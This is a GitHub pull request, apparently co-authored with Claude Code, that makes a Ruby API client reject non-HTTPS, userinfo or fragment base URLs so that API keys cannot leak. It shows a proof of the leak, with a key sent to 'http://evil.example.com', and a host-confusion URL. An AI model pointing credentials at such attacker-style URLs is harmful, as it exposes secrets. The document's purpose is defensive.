Skip to content

security: reject base URLs that would leak the API key - #4

Open
simonx1 wants to merge 1 commit into
obie:mainfrom
simonx1:fix/reject-non-https-base-url
Open

simonx1 wants to merge 1 commit into
obie:mainfrom
simonx1:fix/reject-non-https-base-url

Conversation

@simonx1

@simonx1 simonx1 commented Sep 18, 2026

Copy link
Copy Markdown

Every request carries the key in an Authorization header, and nothing checked where that header was going. base_url is concatenated with endpoint_path and handed to Net::HTTP, which turns TLS on only when the scheme happens to be https:

http.use_ssl = uri.scheme == "https"

So base_url: "http://api.typesafe.ai" — a typo, a copied snippet, a value read from config — sends Bearer <key> in cleartext. Silently. Verified:

client = RubyDecisionModel::Client.new(
  provider: :typesafe, api_key: "sk-SECRET", base_url: "http://evil.example.com", ...
)
client.ask(state: "x", questions: { "q" => Questions.noul("Is it?") })
# url  => "http://evil.example.com/v1/systemone"
# Authorization => "Bearer sk-SECRET"   <- over plaintext http

A URL carrying userinfo or a fragment is worse than silent. https://trusted.example@evil.example/p#x reads as trusted.example, resolves to evil.example, and the appended endpoint path lands inside the fragment instead of the request path.

To be clear about what is not wrong: certificate verification is genuinely on for the default transport (Net::HTTP#connect calls SSLContext#set_params, whose DEFAULT_PARAMS are verify_mode: VERIFY_PEER), and redirects are not followed, so Authorization is never forwarded to another host. This is only about the URL the client is pointed at.

The fix

Validate the base URL once, when the client is built, before any key goes out. It has to be an absolute http(s) URL with a host, no userinfo, no query and no fragment, and it has to be https unless the host is loopback (localhost, 127.0.0.1, [::1]), where nothing leaves the machine and local mock servers keep working. Anything else raises ConfigurationError.

The error message rewrites userinfo to ... so a password pasted into a base URL doesn't end up in a backtrace.

Tests

test/base_url_test.rb, 12 cases, including the loopback allowances and the host-confusion URL. Suite green on 3.2.11 / 3.3.8 / 3.4.8.


One of a series from a security and API-coverage audit. Branches are independent, each off main.

🤖 Generated with Claude Code

Every request carries the key in an Authorization header, and nothing
checked where that header was going. `base_url` was concatenated with
`endpoint_path` and handed to Net::HTTP, which turns TLS on only when the
scheme happens to be https. So `base_url: "http://api.typesafe.ai"` — a
typo, a copied snippet, a value read from config — sent `Bearer <key>` in
cleartext, silently. A URL carrying userinfo or a fragment was worse than
silent: `https://trusted.example@evil.example/p#x` reads as trusted.example,
resolves to evil.example, and the appended endpoint path lands inside the
fragment instead of the request path.

Validate the base URL once, when the client is built, before any key goes
out: it has to be an absolute http(s) URL with a host, no userinfo, and no
query or fragment, and it has to be https unless the host is loopback,
where nothing leaves the machine. Anything else raises ConfigurationError.

The error message rewrites userinfo to "..." so a password pasted into a
base URL does not end up in a backtrace.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant